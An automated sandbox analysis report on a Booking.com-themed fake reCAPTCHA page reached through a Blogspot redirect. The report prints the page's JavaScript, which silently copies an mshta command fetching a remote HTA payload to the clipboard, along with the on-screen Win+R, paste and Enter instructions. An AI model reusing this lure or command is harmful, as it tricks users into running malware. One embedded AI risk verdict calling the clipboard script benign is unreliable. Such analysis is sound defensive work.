Source: screenshot	OCR Text: x e about:blank 800king.cam adminrecaptcha-extranet.com/sign-in?ap_taken =h8HCGxejWNfkJKDXTdmOlDAeiDsgWkUkMdsZbJFrpptqaHrvPiEGOseMbwkAyDPWlmqW8epiLwXn... Booking.com Robot or human? Check the box to confirm that you're human. Thank You! I'm not a robot reCAPTCHA Verification Steps 1. Press Windows Button "Windows" + R 2. Press CTRL + V 3. Press Enter 23:14 ENG p Type here to search SG WOI/2025

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://rinderynitvye.blogspot.com/	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://rinderynitvye.blogspot.com/favicon.ico	0%	Avira URL Cloud	safe
https://rinderynitvye.blogspot.com/search	0%	Avira URL Cloud	safe
https://enterawesome.com/favicon.ico	0%	Avira URL Cloud	safe
https://recaptcha-process.com/recaptcha-verify.html	0%	Avira URL Cloud	safe
https://admin.recaptcha-extranet.com/api/captcha	0%	Avira URL Cloud	safe
https://admin.recaptcha-extranet.com/favicon.ico	0%	Avira URL Cloud	safe
https://rinderynitvye.blogspot.com/feeds/posts/default?alt=rss	0%	Avira URL Cloud	safe
https://enterawesome.com/zse8l	0%	Avira URL Cloud	safe
http://www.offset.com/photos/394244	0%	Avira URL Cloud	safe
https://admin.recaptcha-extranet.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=8ff1993789555e6a	0%	Avira URL Cloud	safe
https://rinderynitvye.blogspot.com/feeds/posts/default	0%	Avira URL Cloud	safe
http://www.offset.com/photos/394244)	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
d2i5gg36g14bzn.cloudfront.net	18.245.31.49	true	false	unknown
enterawesome.com	193.3.19.74	true	true	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
blogspot.l.googleusercontent.com	142.250.186.65	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
www.google.com	216.58.206.68	true	false	high
admin.recaptcha-extranet.com	188.114.97.3	true	false	high
cf.bstatic.com	unknown	unknown	false	high
q-xx.bstatic.com	unknown	unknown	false	high
rinderynitvye.blogspot.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://admin.recaptcha-extranet.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=8ff1993789555e6a	true	Avira URL Cloud: safe	unknown
https://enterawesome.com/favicon.ico	true	Avira URL Cloud: safe	unknown
https://admin.recaptcha-extranet.com/sign-in?op_token=hBHCGxejWNfkJKDXTdmOIDAeiDsgWkUkMdsZbJFrpptqaHrvPiEGOseMbwkAyDPWImqWBepiLwXnidRgNzZXcmtyZnjfVPYeVENlyfpOzDSjiHSlRWXaqQOVaExuHLIIAcPYgYIOvUkvCIlbMJxjxNcshYFhzscjPiRtvuAORLdyzXkJxNqjqnaAiYCeyJhdXRoX2F0dHJpYnV0ZXMiOnsiaXRlbUlkIjoibUZ0UUJIQXYiLCJ3b3JrZXJJZCI6NzczNTQwNTMzN319_mFtQBHAv	true		unknown
https://enterawesome.com/zse8l?	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/481282651:1736393486:Bp3x-n9pI2ebSXOZGUuODS5EUk23AO1LxnyuD7yebjE/8ff1994b58e44369/5Hn1EFQMhBtWWaDTa0E5mNjKaFKj2zSKJfLTWXtOSys-1736396049-1.1.1.1-DjpU8zSupjPbmqBS0xgSv0sAoBT2U8YVRjHrYyWLEV3Z9cmO5hnpMr8xYnVnryD1	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/awf7c/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/	false		high
https://cf.bstatic.com/static/img/favicon/9ca83ba2a5a3293ff07452cb24949a5843af4592.svg	false		high
https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8ff1994b58e44369/1736396050760/a2a7d075c361685e67fa6a04dd45d906cbe3c4b88b97c6589b1bb9289a186291/MAZUVwSCCBdPEw7	false		high
https://rinderynitvye.blogspot.com/	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ff1994b58e44369&lang=auto	false		high
https://admin.recaptcha-extranet.com/api/captcha	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://a.nel.cloudflare.com/report/v4?s=0%2B7s8t5YW5FVhBgVFdTpeKBJ5psPhwkHEqfHe3u1XsF%2Fkreo8g1MOl7f1VssAEOPv%2FEgpekQHsIoUtGX9O8EcIHVRNnlcdf8vq%2BDj6970GFqSstqitcPmKJu6gK2IqP7vOLaTnELh9cRm67pUbVy	false		high
https://admin.recaptcha-extranet.com/favicon.ico	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8ff1994b58e44369/1736396050753/J7Y4VssUuVn_wak	false		high
https://a.nel.cloudflare.com/report/v4?s=NyKY0B0Jiov0A3gUHYIYqMHvCUstnac3jQai5x%2FL4jDr2WVBbPz9OA0aRfd%2BlIUEY2uAEXzmTCMfkWjEUa%2F9P23GCZMaKcDyMNHcs6H5UCCuu8E%2FutcotUcP0PNBCduqhXTnmy0TTKDS152wIwE2	false		high
https://a.nel.cloudflare.com/report/v4?s=m13qYhqGjSOd%2Fb0A0LFvj0%2FSBirxHH14evx3bVStZ%2FrXi%2B2jdEejt1DLNaHTD5N%2BA2QRAycqleAWlKUlHW8yS4n%2F6rtFMyV47aW9q6G2UXVOpog2Eh1m4PISx4WtdnuJaL5XcTxjqEbeiN6vocb8	false		high
https://q-xx.bstatic.com/backend_static/common/flags/new/48-squared/us.png	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.blogger.com	chromecache_87.1.dr	false		high
https://cf.bstatic.com/static/img/apple-touch-icon/5db9fd30d96b1796883ee94be7dddce50b73bb38.png	chromecache_88.1.dr	false		high
https://themes.googleusercontent.com/image?id=L1lcAxxz0CLgsDzixEprHJ2F38TyEjCyE3RSAjynQDks0lT1BDc1Ox	chromecache_87.1.dr	false		high
https://rinderynitvye.blogspot.com/search	chromecache_87.1.dr	false	Avira URL Cloud: safe	unknown
https://cf.bstatic.com/static/img/favicon/40749a316c45e239a7149b6711ea4c48d10f8d89.ico	chromecache_88.1.dr	false		high
https://rinderynitvye.blogspot.com/feeds/posts/default?alt=rss	chromecache_87.1.dr	false	Avira URL Cloud: safe	unknown
https://rinderynitvye.blogspot.com/favicon.ico	chromecache_87.1.dr	false	Avira URL Cloud: safe	unknown
http://www.offset.com/photos/394244	chromecache_87.1.dr	false	Avira URL Cloud: safe	unknown
https://www.blogblog.com/indie/mspin_white_large.svg)	chromecache_87.1.dr	false		high
https://www.blogger.com/feeds/2693032391783388479/posts/default	chromecache_87.1.dr	false		high
https://www.blogger.com/go/report-abuse	chromecache_87.1.dr	false		high
https://www.blogger.com/static/v1/jsbin/1596418130-lbx.js	chromecache_87.1.dr	false		high
https://enterawesome.com/zse8l	chromecache_87.1.dr	false	Avira URL Cloud: safe	unknown
https://www.blogger.com/profile/15799586855510303153	chromecache_87.1.dr	false		high
https://www.blogger.com/static/v1/v-css/1964470060-lightbox_bundle.css	chromecache_87.1.dr	false		high
https://recaptcha-process.com/recaptcha-verify.html	chromecache_88.1.dr	false	Avira URL Cloud: safe	unknown
https://www.blogger.com/static/v1/widgets/3100690138-widgets.js	chromecache_87.1.dr	false		high
https://www.blogblog.com/indie/mspin_black_large.svg)	chromecache_87.1.dr	false		high
https://rinderynitvye.blogspot.com/feeds/posts/default	chromecache_87.1.dr	false	Avira URL Cloud: safe	unknown
https://cf.bstatic.com/static/img/favicon/4a3b40c4059be39cbf1ebaa5f97dbb7d150926b9.png	chromecache_88.1.dr	false		high
http://www.offset.com/photos/394244)	chromecache_87.1.dr	false	Avira URL Cloud: safe	unknown
https://resources.blogblog.com/blogblog/data/res/951766272-indie_compiled.js	chromecache_87.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
193.3.19.74	enterawesome.com	Denmark	2107	ARNES-NETAcademicandResearchNetworkofSloveniaSI	true
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
18.245.31.53	unknown	United States	16509	AMAZON-02US	false
18.245.31.49	d2i5gg36g14bzn.cloudfront.net	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	admin.recaptcha-extranet.com	European Union	13335	CLOUDFLARENETUS	false
18.245.31.18	unknown	United States	16509	AMAZON-02US	false
18.245.31.129	unknown	United States	16509	AMAZON-02US	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.186.65	blogspot.l.googleusercontent.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.17
192.168.2.24

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1586436
Start date and time:	2025-01-09 05:13:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://rinderynitvye.blogspot.com/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.phis.win@23/36@30/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, TextInputHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.35, 142.250.185.142, 142.251.5.84, 142.250.186.46, 142.250.186.78, 192.229.221.95, 199.232.214.172, 142.250.184.206, 216.58.206.78, 142.250.186.99, 172.217.18.10, 216.58.206.42, 142.250.186.170, 216.58.212.138, 142.250.185.138, 142.250.186.106, 172.217.23.106, 142.250.185.170, 142.250.181.234, 142.250.74.202, 142.250.186.138, 142.250.185.234, 142.250.185.202, 142.250.184.202, 172.217.16.202, 142.250.185.106, 142.250.74.195, 142.250.185.206, 142.250.185.174, 142.250.185.67, 172.217.18.14, 142.250.186.174, 172.217.16.206, 20.109.210.53, 184.28.90.27, 4.175.87.197, 20.190.160.17, 13.107.5.88, 2.23.227.208
Excluded domains from analysis (whitelisted): www.bing.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, login.live.com, evoke-windowsservices-tas.msedge.net, update.googleapis.com, clients.l.google.com, www.gstatic.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://rinderynitvye.blogspot.com/

Input	Output
URL: https://rinderynitvye.blogspot.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://rinderynitvye.blogspot.com
URL: https://admin.recaptcha-extranet.com/sign-in?op_to... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and interaction with suspicious domains. While the intent may be to handle a CAPTCHA verification process, the implementation raises security concerns." }
const itemId = "mFtQBHAv"; function setClipboardCopyData(textToCopy) { const decodedText = textToCopy.replace(/'/g, "'").replace(/"/g, '"'); const tempTextArea = document.createElement("textarea"); tempTextArea.value = decodedText; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); } function sendCaptchaData(itemId) { fetch('/api/captcha', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ item: itemId }) }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok'); } return response.json(); }) .then(data => { console.log('Captcha data sent successfully:', data); }) .catch(error => { console.error('Error sending captcha data:', error); }); } let isCaptchaSent = false; function someEdit() { if (isCaptchaSent) return; isCaptchaSent = true; document.getElementsByClassName('recaptcha-checkbox')[0].style.display = 'none'; document.getElementsByClassName("loadImg")[0].innerHTML = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid" style="shape-rendering: auto; display: block; background: transparent;" width="32" height="32" xmlns:xlink="http://www.w3.org/1999/xlink"><g><circle stroke-dasharray="155.50883635269477 53.83627878423159" r="33" stroke-width="12" stroke="#4d90fe" fill="none" cy="50" cx="50"> <animateTransform keyTimes="0;1" values="0 50 50;360 50 50" dur="1.3888888888888888s" repeatCount="indefinite" type="rotate" attributeName="transform"></animateTransform> </circle><g></g></g></svg>`; setTimeout(function () { document.getElementsByClassName('sjgdhfgas34')[0].style.display = "block"; setClipboardCopyData('mshta https://recaptcha-process.com/recaptcha-verify.html # ''I am not a robot - reCAPTCHA Verification ID: 9329'''); sendCaptchaData(itemId); }, 2000); } document.addEventListener('DOMContentLoaded', function() { const recaptchaCheckbox = document.getElementsByClassName('recaptcha-checkbox')[0]; if (recaptchaCheckbox) { recaptchaCheckbox.addEventListener('click', someEdit); } });
URL: https://admin.recaptcha-extranet.com/confirm/login... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This script appears to be sending a simple online status update to a known endpoint using the `navigator.sendBeacon()` API, which is a legitimate and low-risk behavior. The data being sent is also minimal and does not contain any sensitive information. Overall, this script demonstrates a benign use case and does not exhibit any high-risk indicators." }
function sendOnlineStatus() { const data = JSON.stringify({ itemId: itemId }); const blob = new Blob([data], { type: 'application/json' }); navigator.sendBeacon('/api/online', blob); } window.addEventListener('unload', sendOnlineStatus, false);
URL: https://rinderynitvye.blogspot.com/... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates a moderate-risk behavior by redirecting the user to an external domain without transparency. While the intent may be legitimate, the use of a dynamic URL and lack of context raises concerns that warrant further investigation." }
let linkName = "https://enterawesome.com/zse8l" let strGET = window.location.search.replace( '?', ''); location.replace(linkName + "?" + strGET)
URL: https://admin.recaptcha-extranet.com/confirm/login... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The heavily obfuscated code and use of multiple fallback domains further increase the risk. While the script may have a legitimate purpose, the overall behavior is highly suspicious and indicative of malicious intent." }
(function(){window._cf_chl_opt={cvId: '3',cZone: "admin.recaptcha-extranet.com",cType: 'managed',cRay: '8ff1993789555e6a',cH: 'x4hCD.qJP5qxPdpdOpgfPkMegImKGSvGl.Hl3t88agM-1736396046-1.2.1.1-zQKWPrKW7XXEt8HyHQm82ItiIzFuITEuolp7cLgKefGI_UykmYqemjR69M5jLpvZ',cUPMDTk: "\/confirm\/login\/mFtQBHAv?__cf_chl_tk=XmZ61HcTXxWgS9FB6_jERW4_eC8uwClc5u2cJS5BYus-1736396046-1.0.1.1-hjgrT3tu15oFH5NtShKSeKsY80XhIUGczR903bwPwqM",cFPWv: 'g',cITimeS: '1736396046',cTTimeMs: '1000',cMTimeMs: '390000',cTplC: 0,cTplV: 5,cTplB: 'cf',cK: "",fa: "\/confirm\/login\/mFtQBHAv?__cf_chl_f_tk=XmZ61HcTXxWgS9FB6_jERW4_eC8uwClc5u2cJS5BYus-1736396046-1.0.1.1-hjgrT3tu15oFH5NtShKSeKsY80XhIUGczR903bwPwqM",md: ".LGOGKh8qiylpw02vw1HQOpiB3OKHHoRZDyjK6lQubM-1736396046-1.2.1.1-zCnEfvvga8wdM7jdIlYxKxo7PpLBQ646nMoTcDHPOi2MxLPy2UVHbpxTdcGmw9EKoJPisvn0_kvEXBFM8nrudeemK6fOZHvIJ7Qu9P2OVwsiAiG8TSgPha9aDEG2s9.8jOWy8LSLtkYPWqIrhPZX9hFslZyZJ4a.iyyWpqSYDyfLQUq5TSCbM2UZ_4zlsaubMpNRDGxQT4zidpAGHsntTefFF.VDsRGq5LWXmm4gWN8jDwGZerqA1LxlHtZS3za0uL_VdLtMcvf1vYAW6pYvYBgmxt84QQH1z6qSS3mYXblqK9p9.mxVkSFni823nkLGjKJtZMqLLgy3mFPHSQ5v4pg4VTB8KtPgxvOToPp9kgsM_eESgiaPeT8xDw3NnMPDRkCsj04zovG8GpcXzKHE6b3F4DGhKIoD5R71gjgePrmefUceCw1pZ.YljbjEgFOuHWqaiJiSzZXwCUTbgYWoUTD7jhwracAXC6cVR2aqfJ4mxZG2YeqszbgN8QdIBAb0Svwqf_CBZsC1.U5ZUc0Y171PDuTDbNNsYZ979sUqqvBrbU0VWuogfgZW00oi3Q30ab8VmkZ8j9RxXPqN3wn8XskH7Aa5sga5BUnHh7BjvKdeNLT6mNDg56v57xLd.veQjCe_ltEjju5vWlA8Nf7WxvNUu5BUqE_1Lt4__TiiDlfmyAtV1ryYZLXRubd7vsFKwjuQ_OBcGaxSEVvlTWsywLKfmEon6bAqOuFiTssNF1FcxYvp.QDcUX1p0nGmvKRuWp.B13PSu3NLNbzAhUEu.QFbRXblWSOTBpXo0HFWrdI4hX3Y2CaBTBZmH51.spBUBorrnOIodaQz4CjIXl4uMXFrw29mV8CTaz1RwZlDP45JDPojnVwzH1GNwWA3a6fa2ll38FprbgjbC5nrbwxKfgYCjbI1WS7CjLMyWapzhY1hFzrv1hIw0vqb25YCim2KsUF8_cWE.0K0_yNb.0DmAq6C47FfL7V6u4DWa8Uyop.8x7tFH_jW3Gei6rH5p5loEWeGni3oKlafzKnzjP2E0ayfnGSSkqQuFhz4V2YGwIoh5kcn_TmW0Yh5G5mF9wjBfb.4c7Gn9L5vEev4FLq4_pKqduyQYeBvy9XzsF_K0RYWtwQHI5sCK6q.hp3PdiCxVP5A6WcKTwAHL5WbHNEN4qfLW6pu8VVbxPuIJHlX_ibmfNyxGGOa0MOPDSFmyWB8jYD3VhxPKMOW_a7oDNquWqhzZ_Gs2MMsI7aV9I5_WW.3FCKuE9VULvL6pv0G2Z2CbH9UhORZm9vSleMSEZoG1b_uVVvcCePepex7PfHQ4mp0nNt74oNCydBKSpiWaZ.5uJEdgORoMFBSMQunSmvTavKw6g7KGhFic.N0WzwiVNKyY4KsVvTp6TNTCeoU2f.Rmper1zPR4ZyA8AeU2maVtBD7xTn251FGsVIWOSG0gL6qZU.9nTg5fVFTw7cD2sNLHb7gT0e1Ef61WdkR5ELuitgWOeyH1l0QU4K1v8QAW2AnDiVefl5P3iK7QtoOXTk9uJvJDWB5LUO_dfcM2_08G.9WPmy8zjtcBqEllp.cgZTxCNyQFcfyG0_lG_bII38aU1rxhygRqvtNkEf8XqmY8mWaLjaVSs5SQzD1kfKfL7Rqa24ha9tmAQ07MVinhfAuScI2bp1HZU16HMumh.ymcYAWNPDVJNqRej4K60uVVV_h8U7f3_Tcw9.VR9h_ubE9NwCH2PbrnkoTOfQiO.rZ8RNOI4L6z8Jc4OvLBmtj_CCQNWAHqXWiUvVdZtA7HMmWPB6qLjJ0Y_RO4DbWuzXiWYcPl3D2NOWFaGdKLW8_NYd4kIPI3slCO7eSEybMSc45q8foVULSNq10rcXnQTshMfRTvYDJs1apOI6A9ycRqpkPGVUisx0s7HtntnIMSMxCs.ziwequZTlEjbpEdcLNh1knYMAkPjSU5oLUzEN0cgXtsw9E4WVw_WaLPvrv0E7lOob3sVQ243UWM6Z5QNvTfGj9dkNBYnsG4w5Msmq_WxIqMobNGcw027Bo8l8G_5qa_g9RP2c7Nlg0BEWlESNYgWOV9X60.2iqgLW8j5tNg.br6HwB5SEKoQBNL43BcWSAJt_i70l09XqWoqMsCW225EZ_cUWb1eN6izlAhQW74zr8IQNBi3D2zBDkDx42x.0kEx8Lrhe3t0pTyLAUym8dYFnqe5M0mp4KfbpANXAqdTXSVrSJtPj9AF3DDXicGud4s_nU0nOt6MkPNKO56IFwMzRThNhHFwqNQimQ8JWfnj.DQSeb0Fn8xNcG0TBL0Gc4U4cZQ43HFyDvNTXx5JzqUHEBr7zD_pokJqWNx0PVn9XpaRG0042JGZzyeqiISHpqeZyk.00c7qscmIzL1DfDgd6rTnuUXWp0S0Qm06DQSJ7xBQ7Rd1GSDNMGqss28es13p.4w.IxALpncDAtn5XNBR.MbVpDiegY9n6Cdf3W4eXscfi0OrYUT2dwKIGmIuDWkHZFWyF3rTHMUAcde0EInNMzIT.oQL0PMfd7TZNOXMTls8hCm7xdBDrXqQJWyfH02xHC9Wjeqk2QAcdlQpkCjf1IOKMCkMpZ49uxtcfwwf3ZNzxaXmjVuvhWyfaFt..GNNQ7v1rgkyDIWZ1TmXo.ng",mdrd: "765LWGVsSw_MxMp3bPUBkfPcXZXwDoMe2qhQC1gugSM-1736396046-1.2.1.1-8rq.wbYfT9qXeb.mvqCJpz1DK_m9pGZqlX5dOauA9lNm0sMhudwqCiLqCp2ZSdls1NPIHqSPBKWbOUKh4VzDpmsT_QzX.h8ACDJUMIK9783eu7q_Dhrdps55UFxgt6ujLpMM2Jpu21s8OSbL0l6ZKIkazKLjtic_VMy0ntFWfsjW144ezm5.B2Yrclt2nrHwJ_uqfu4jiICX4IK6rdGqfpqFx9DyGfLJh2xACdKDG8.UuhyNLv_inQU8CLWTqKA8Gco0GZkmpTRa7oqNzv8OTh_6snri5ljoKmV.d_qLfu3Rl6axbPPdGkG0YxEyjXPvkuNrJFf0uKSAP0HpOsRGhRI5DeH0737yJNM08BXQeQbosQ4nSEr9E1_YF_Yc.l6Zz4oeGng.GOB_44CdlYp.PbmqxnpRccQNmQG3HjS0f_WdiR5cVmGUBjTzUFpDOJGlBNalh7Vnorp6jgLcYk.wHE_VIc5G_jrh5W_.VhsL8CqQi9tjpZWejhnRzWudk.7DutlN4AeOMto2KYDdW8XqJL0.atwxXSG0O
URL: https://admin.recaptcha-extranet.com/confirm/login... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a simple feature detection script that checks if the user is accessing the site from a mobile device. It hides a CAPTCHA container and displays a message for mobile users, while showing the CAPTCHA for non-mobile users. This behavior is common for websites that want to provide a better user experience on different devices and does not demonstrate any high-risk indicators." }
function isMobileDevice() { return /iPhone\|iPad\|Android\|BlackBerry\|IEMobile\|Opera Mini\|webOS/i.test(navigator.userAgent); } function init() { if (isMobileDevice()) { document.getElementById('captcha-container').style.display = 'none'; document.getElementById('message').innerText = 'Please visit the site with your computer.'; } else { document.getElementById('captcha-container').style.display = 'block'; } } window.onload = init;
URL: https://admin.recaptcha-extranet.com/confirm/login... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution and data exfiltration. It extracts a 'customTag' value from the URL, constructs a new URL with an 'op_token' parameter, and then replaces the current URL in the browser's history. This behavior is highly suspicious and could be indicative of a malicious script attempting to redirect the user to a potentially malicious sign-in page or perform other unauthorized actions." }
const urlParts = window.location.pathname.split('/'); const customTag = urlParts[4]; const token = 'hBHCGxejWNfkJKDXTdmOIDAeiDsgWkUkMdsZbJFrpptqaHrvPiEGOseMbwkAyDPWImqWBepiLwXnidRgNzZXcmtyZnjfVPYeVENlyfpOzDSjiHSlRWXaqQOVaExuHLIIAcPYgYIOvUkvCIlbMJxjxNcshYFhzscjPiRtvuAORLdyzXkJxNqjqnaAiYCeyJhdXRoX2F0dHJpYnV0ZXMiOnsiaXRlbUlkIjoibUZ0UUJIQXYiLCJ3b3JrZXJJZCI6NzczNTQwNTMzN319_mFtQBHAv'; const newUrl = `/sign-in?op_token=${token}`; window.history.replaceState({}, document.title, newUrl);
URL: https://admin.recaptcha-extranet.com/confirm/login... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a legitimate implementation of clipboard copy functionality and a captcha data submission process. There are no high-risk indicators, and the behavior is consistent with common web application features. The code uses standard APIs and does not exhibit any suspicious or malicious activities." }
const itemId = "mFtQBHAv"; function setClipboardCopyData(textToCopy) { const decodedText = textToCopy.replace(/'/g, "'").replace(/"/g, '"'); const tempTextArea = document.createElement("textarea"); tempTextArea.value = decodedText; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); } function sendCaptchaData(itemId) { fetch('/api/captcha', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ item: itemId }) }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok'); } return response.json(); }) .then(data => { console.log('Captcha data sent successfully:', data); }) .catch(error => { console.error('Error sending captcha data:', error); }); } let isCaptchaSent
URL: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verifying you are human. This may take a few seconds.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Verify you are human", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

